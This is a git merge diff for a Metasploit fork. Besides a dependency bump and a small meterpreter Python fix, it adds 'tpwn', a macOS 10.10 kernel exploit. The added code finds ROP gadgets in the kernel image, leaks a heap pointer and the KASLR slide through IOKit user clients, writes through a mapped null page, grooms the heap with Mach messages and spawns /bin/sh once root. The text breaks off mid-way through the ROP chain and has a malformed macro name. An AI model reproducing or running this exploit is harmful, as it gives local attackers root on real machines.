Merge branch 'master' of ssh://github.com/stufus/metasploit-framework into pageant_extension
This commit is contained in:
+2
-2
@@ -9,7 +9,7 @@ PATH
|
||||
json
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.7)
|
||||
metasploit-payloads (= 1.0.9)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
@@ -123,7 +123,7 @@ GEM
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.7)
|
||||
metasploit-payloads (1.0.9)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response):
|
||||
if not proc_h_id:
|
||||
return ERROR_SUCCESS, response
|
||||
proc_h_id = proc_h_id['value']
|
||||
del meterpreter.processes[proc_h_id]
|
||||
if meterpreter.processes.has_key(proc_h_id):
|
||||
del meterpreter.processes[proc_h_id]
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
all:
|
||||
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
|
||||
strip tpwn
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
#ifndef pwn_import_h
|
||||
#define pwn_import_h
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach_types.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#include "lsym.h"
|
||||
#include "lsym_gadgets.h"
|
||||
|
||||
#endif
|
||||
Vendored
+47
@@ -0,0 +1,47 @@
|
||||
#ifndef __pwn__lsym__
|
||||
#define __pwn__lsym__
|
||||
|
||||
#include <stdio.h>
|
||||
#include "import.h"
|
||||
|
||||
#define JUNK_VALUE 0x1337133713371337
|
||||
|
||||
|
||||
typedef struct kernel_fake_stack {
|
||||
uint64_t __cnt;
|
||||
uint64_t __padding[0x4999];
|
||||
uint64_t __rop_chain[0x5000];
|
||||
} kernel_fake_stack_t;
|
||||
|
||||
#define LSYM_PAYLOAD_VTABLE 1
|
||||
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
|
||||
|
||||
typedef struct lsym_map {
|
||||
void* map;
|
||||
const char* path;
|
||||
size_t sz;
|
||||
} lsym_map_t;
|
||||
|
||||
typedef enum {
|
||||
LSYM_DO_NOT_REBASE = (1 << 0)
|
||||
} lsym_gadget_flags;
|
||||
|
||||
typedef uint64_t lsym_map_pointer_t;
|
||||
typedef uint64_t lsym_kern_pointer_t;
|
||||
typedef uint64_t lsym_slidden_kern_pointer_t;
|
||||
typedef uint64_t lsym_offset_t;
|
||||
|
||||
lsym_kern_pointer_t kext_pointer(const char* identifier);
|
||||
lsym_map_t *lsym_map_file(const char *path);
|
||||
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name);
|
||||
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
|
||||
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping);
|
||||
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
|
||||
lsym_offset_t lsym_vm_addrperm();
|
||||
|
||||
typedef struct kernel_exploit_vector kernel_exploit_vector_t;
|
||||
|
||||
#endif /* defined(__pwn__lsym__) */
|
||||
Vendored
+159
@@ -0,0 +1,159 @@
|
||||
#include "lsym.h"
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
|
||||
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
|
||||
|
||||
|
||||
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
|
||||
#ifdef FIND_KERNEL_SLIDE
|
||||
static lsym_offset_t kaslr_slide=0;
|
||||
static char kaslr_slide_found =0;
|
||||
#endif
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t kext_pointer(const char* identifier){
|
||||
return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_map_t *lsym_map_file(const char *path) {
|
||||
int fd=open(path, O_RDONLY);
|
||||
if(fd < 0) return 0;
|
||||
struct stat sb;
|
||||
fstat(fd, &sb);
|
||||
if (sb.st_size < 0x1000) {
|
||||
return 0;
|
||||
}
|
||||
void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
|
||||
lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
|
||||
ret->map = map;
|
||||
ret->path = path;
|
||||
ret->sz = sb.st_size & 0xFFFFFFFF;
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
|
||||
lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
|
||||
if (!off) {
|
||||
puts("[-] Couldn't find a ROP gadget, aborting.");
|
||||
exit(1);
|
||||
}
|
||||
return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
|
||||
struct mach_header_64 *mh = mapping->map;
|
||||
struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
|
||||
return (lsym_kern_pointer_t)text->vmaddr;
|
||||
}
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
|
||||
struct mach_header_64 *mh = mapping->map;
|
||||
struct symtab_command *symtab = NULL;
|
||||
struct segment_command_64 *linkedit = NULL;
|
||||
/*
|
||||
* Check header
|
||||
*/
|
||||
if (mh->magic != MH_MAGIC_64) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find the LINKEDIT and SYMTAB sections
|
||||
*/
|
||||
linkedit = find_segment_64(mh, SEG_LINKEDIT);
|
||||
if (!linkedit) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
|
||||
symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
|
||||
if (!symtab) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
void* symtabp = symtab->stroff + 4 + (char*)mh;
|
||||
void* symtabz = symtab->stroff + (char*)mh;
|
||||
void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
|
||||
uint32_t idx = 0;
|
||||
while (symtabp < symendp) {
|
||||
if(strcmp(symtabp, name) == 0) goto found;
|
||||
symtabp += strlen((char*)symtabp) + 1;
|
||||
idx++;
|
||||
}
|
||||
printf("[-] symbol %s not resolved.\n", name); exit(0);
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
found:;
|
||||
struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
|
||||
uint64_t strx = ((char*)symtabp - (char*)symtabz);
|
||||
unsigned int symp = 0;
|
||||
while(symp <= (symtab->nsyms)) {
|
||||
uint32_t strix = *((uint32_t*)nlp);
|
||||
if(strix == strx)
|
||||
goto found1;
|
||||
nlp ++; //sizeof(struct nlist_64);
|
||||
symp++;
|
||||
}
|
||||
printf("[-] symbol not found: %s\n", name);
|
||||
exit(-1);
|
||||
found1:
|
||||
//printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value);
|
||||
return (lsym_kern_pointer_t)nlp->n_value;
|
||||
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
|
||||
{
|
||||
struct load_command *lc;
|
||||
struct segment_command_64 *s, *fs = NULL;
|
||||
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
|
||||
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
|
||||
if (lc->cmd == LC_SEGMENT_64) {
|
||||
s = (struct segment_command_64 *)lc;
|
||||
if (!strcmp(s->segname, segname)) {
|
||||
fs = s;
|
||||
break;
|
||||
}
|
||||
}
|
||||
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
|
||||
}
|
||||
return fs;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
|
||||
{
|
||||
struct section_64 *sect, *fs = NULL;
|
||||
uint32_t i = 0;
|
||||
for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
|
||||
i < seg->nsects;
|
||||
i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
|
||||
{
|
||||
if (!strcmp(sect->sectname, name)) {
|
||||
fs = sect;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return fs;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
|
||||
{
|
||||
struct load_command *lc, *flc;
|
||||
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
|
||||
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
|
||||
if (lc->cmd == cmd) {
|
||||
flc = (struct load_command *)lc;
|
||||
break;
|
||||
}
|
||||
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
|
||||
}
|
||||
return flc;
|
||||
}
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
#ifndef ROP_PIVOT_RAX
|
||||
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */
|
||||
|
||||
#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))
|
||||
|
||||
/* ROP gadgets present in 10.10 */
|
||||
|
||||
// stack pivot
|
||||
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
|
||||
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
|
||||
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
|
||||
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)
|
||||
|
||||
#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
|
||||
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
|
||||
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)
|
||||
|
||||
// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
|
||||
// how the fuck do these gadgets even exist lmao
|
||||
|
||||
#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
|
||||
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
|
||||
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
|
||||
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
|
||||
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
|
||||
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
|
||||
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
|
||||
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
|
||||
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
|
||||
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
|
||||
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
|
||||
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
|
||||
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
|
||||
// register control
|
||||
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
|
||||
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
|
||||
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)
|
||||
|
||||
// write gadgets
|
||||
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
|
||||
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)
|
||||
|
||||
// read gadget
|
||||
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)
|
||||
|
||||
|
||||
// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.
|
||||
|
||||
#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);
|
||||
|
||||
// helpers
|
||||
|
||||
#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
|
||||
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
#endif
|
||||
Vendored
+286
@@ -0,0 +1,286 @@
|
||||
#include <Foundation/Foundation.h>
|
||||
static uint64_t kslide=0;
|
||||
#define ALLOCS 0x100
|
||||
#import "import.h"
|
||||
#import "lsym_gadgets.h"
|
||||
static mach_port_t servicea = 0;
|
||||
static mach_port_t servicex = 0;
|
||||
__attribute__((always_inline)) inline
|
||||
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
|
||||
if (!pointer) return pointer;
|
||||
return (lsym_slidden_kern_pointer_t) pointer + kslide;
|
||||
}
|
||||
|
||||
__attribute__((always_inline)) static inline
|
||||
uint64_t alloc(uint32_t addr, uint32_t sz) {
|
||||
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
|
||||
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
|
||||
while(sz--) *(char*)(addr+sz)=0;
|
||||
return addr;
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
uint64_t leak_heap_ptr(io_connect_t* co) {
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
|
||||
puts("failed");
|
||||
exit(-20);
|
||||
}
|
||||
uint64_t scalarO_64=0;
|
||||
uint32_t outputCount = 1;
|
||||
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
|
||||
if (!scalarO_64) {
|
||||
puts("failed infoleaking");
|
||||
exit(-20);
|
||||
}
|
||||
scalarO_64 <<= 8;
|
||||
scalarO_64 |= 0xffffff0000000000;
|
||||
return scalarO_64;
|
||||
}
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
mach_msg_trailer_t trailer;
|
||||
} oolmsg_t;
|
||||
static uint16_t off_w = 0;
|
||||
__attribute__((always_inline)) static inline
|
||||
void or_everywhere(uint64_t add) {
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
|
||||
IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
|
||||
alloc(0, 0x1000);
|
||||
volatile uint64_t* mp = (uint64_t*) 0;
|
||||
if(!off_w) {
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)0xC00;
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
IOServiceClose(conn);
|
||||
char* kp=(char*)0xC00;
|
||||
while ((uint32_t)kp < 0x1000) {
|
||||
if (*kp == 0x10) {
|
||||
break;
|
||||
}
|
||||
kp++;
|
||||
}
|
||||
if ((uint32_t)kp == 0x1000) {
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
puts("not vulnerable");
|
||||
exit(-1);
|
||||
}
|
||||
mp=0;
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00);
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
IOServiceClose(conn);
|
||||
if (*((char*)0xC00)!=0x10) {
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
puts("wrong offset");
|
||||
exit(-2);
|
||||
}
|
||||
off_w = (uint16_t) kp - 0xc00;
|
||||
}
|
||||
mp=0;
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)(add - off_w);
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
IOServiceClose(conn);
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
|
||||
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
|
||||
if(!*msgp){
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
|
||||
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
|
||||
}
|
||||
bzero(msg,sizeof(oolmsg_t));
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->header.msgh_remote_port = *msgp;
|
||||
msg->header.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->header.msgh_size = sizeof(oolmsg_t);
|
||||
msg->header.msgh_id = 1;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
msg->desc.address = (void *)vz;
|
||||
msg->desc.size = svz;
|
||||
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
|
||||
free(msg);
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
char* read_kern_data(mach_port_t port) {
|
||||
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
|
||||
bzero(msg,sizeof(oolmsg_t)+0x2000);
|
||||
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
|
||||
return msg->desc.address;
|
||||
}
|
||||
int main(int argc, char** argv, char** envp){
|
||||
if (getuid() == 0) {
|
||||
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
|
||||
exit(0);
|
||||
}
|
||||
if((int)main < 0x5000) execve(argv[0],argv,envp);
|
||||
lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel");
|
||||
if (!mapping_kernel || !mapping_kernel->map) {
|
||||
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
|
||||
}
|
||||
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
|
||||
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
|
||||
sync();
|
||||
kern_return_t err;
|
||||
io_iterator_t iterator;
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
|
||||
servicex = IOIteratorNext(iterator);
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
|
||||
servicea = IOIteratorNext(iterator);
|
||||
uint64_t c = 0;
|
||||
or_everywhere((uint64_t)&c);
|
||||
if (c != 0x10) {
|
||||
puts("not vulnerable");
|
||||
return 2;
|
||||
}
|
||||
int ctr=0;
|
||||
#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++)
|
||||
struct KernelHeapInfo {
|
||||
io_connect_t connect;
|
||||
uint64_t kobject;
|
||||
mach_port_t port;
|
||||
} *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS);
|
||||
char* vz = calloc(1500,1);
|
||||
|
||||
again:;
|
||||
int maxt = 10;
|
||||
while (maxt--) {
|
||||
if (heap_info[maxt+2].connect) {
|
||||
IOServiceClose(heap_info[maxt+2].connect);
|
||||
heap_info[maxt+2].connect=0;
|
||||
}
|
||||
}
|
||||
maxt = 10;
|
||||
while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
|
||||
while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
|
||||
if (heap_info[1].kobject == 1024+heap_info[0].kobject) {
|
||||
break;
|
||||
}
|
||||
if (maxt == 0) {
|
||||
goto again;
|
||||
}
|
||||
maxt--;
|
||||
heap_info[maxt+2].connect=heap_info[1].connect;
|
||||
heap_info[1].connect=0;
|
||||
};
|
||||
|
||||
if (!heap_info[1].connect || !heap_info[0].connect) {
|
||||
exit(-3);
|
||||
}
|
||||
|
||||
IOServiceClose(heap_info[0].connect); // poke hole
|
||||
|
||||
DO_TIMES(ALLOCS) {
|
||||
send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port));
|
||||
}
|
||||
|
||||
or_everywhere(heap_info[0].kobject + 16);
|
||||
or_everywhere(heap_info[0].kobject + 500);
|
||||
|
||||
char found = 0;
|
||||
DO_TIMES(ALLOCS) {
|
||||
char* data = read_kern_data(heap_info[ctr].port);
|
||||
if (!found && memcmp(data,vz,1024 - 0x58)) {
|
||||
kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ;
|
||||
found=1;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
exit(-3);
|
||||
}
|
||||
|
||||
printf("leaked kaslr slide, @ 0x%016llx\n", kslide);
|
||||
|
||||
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t));
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1)
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
